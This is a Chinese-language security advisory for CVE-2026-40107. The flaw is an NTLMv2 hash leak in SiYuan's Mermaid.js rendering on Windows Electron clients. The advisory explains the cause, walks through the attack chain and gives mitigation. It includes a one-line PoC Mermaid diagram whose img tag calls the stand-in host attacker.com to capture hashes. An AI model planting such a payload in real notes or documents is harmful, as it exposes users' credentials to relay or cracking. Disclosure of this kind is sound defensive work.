IPBUF安全漏洞报告
English
CVE-2026-40107 CVSS 6.5 中危

CVE-2026-40107 SiYuan Mermaid.js NTLMv2哈希泄露漏洞

披露日期: 2026-04-09

漏洞信息

漏洞编号
CVE-2026-40107
漏洞类型
跨站脚本 (XSS) / 敏感信息泄露
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
SiYuan

相关标签

XSSSiYuanMermaid.jsNTLMv2SMB信息泄露Electron

漏洞概述

SiYuan个人知识管理系统在3.6.4之前的版本中存在安全漏洞。由于Mermaid.js配置不当,攻击者可构造恶意图表笔记。当受害者使用Electron客户端打开这些笔记时,Windows系统会将协议相对URL解析为UNC路径,自动尝试SMB认证。这导致受害者的NTLMv2哈希被发送到攻击者控制的服务器,造成敏感信息泄露。

技术细节

该漏洞源于SiYuan对Mermaid.js的配置存在缺陷,设置了securityLevel为loose且启用了htmlLabels。在此模式下,Mermaid内部的DOMPurify无法有效清洗img标签的src属性,允许恶意代码通过SVG的foreignObject块注入,且SiYuan在通过innerHTML渲染SVG时未进行二次清洗。攻击者利用协议相对URL(如//attacker.com/img.png)构造恶意Mermaid图表。当受害者在Windows平台的Electron客户端中查看该笔记时,客户端会尝试解析该URL。Windows将其转换为UNC路径(\attacker.com\img.png)并自动发起SMB连接请求,在认证过程中发送受害者的NTLMv2哈希值。攻击者截获该哈希后可进行离线破解或中继攻击。

攻击链分析

STEP 1
1. 构造恶意载荷
攻击者创建包含Mermaid图表的笔记,图表中嵌入指向恶意服务器的协议相对图片标签。
STEP 2
2. 诱导访问
攻击者通过分享链接或社会工程学手段,诱导受害者使用SiYuan客户端打开该笔记。
STEP 3
3. 触发漏洞
受害者打开笔记,Electron客户端渲染Mermaid图表,解析img标签中的src。
STEP 4
4. UNC解析与认证
在Windows上,协议相对URL被解析为UNC路径,系统自动尝试SMB认证。
STEP 5
5. 窃取凭据
受害者的NTLMv2哈希被发送至攻击者服务器,攻击者获取凭据信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// Malicious Mermaid Diagram Code // Insert this code into a SiYuan note block // Triggers UNC path resolution on Windows Electron clients graph TD; A[Start] --> B[View Note]; B --> C[Render]; C --> D["<img src='//attacker.com/collect_hash.png'>"];

影响范围

SiYuan < 3.6.4

防御指南

临时缓解措施
建议立即将SiYuan更新至3.6.4或更高版本。若无法立即更新,请勿在Windows客户端上打开不可信的笔记,并配置网络策略阻止客户端向外部发起SMB连接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表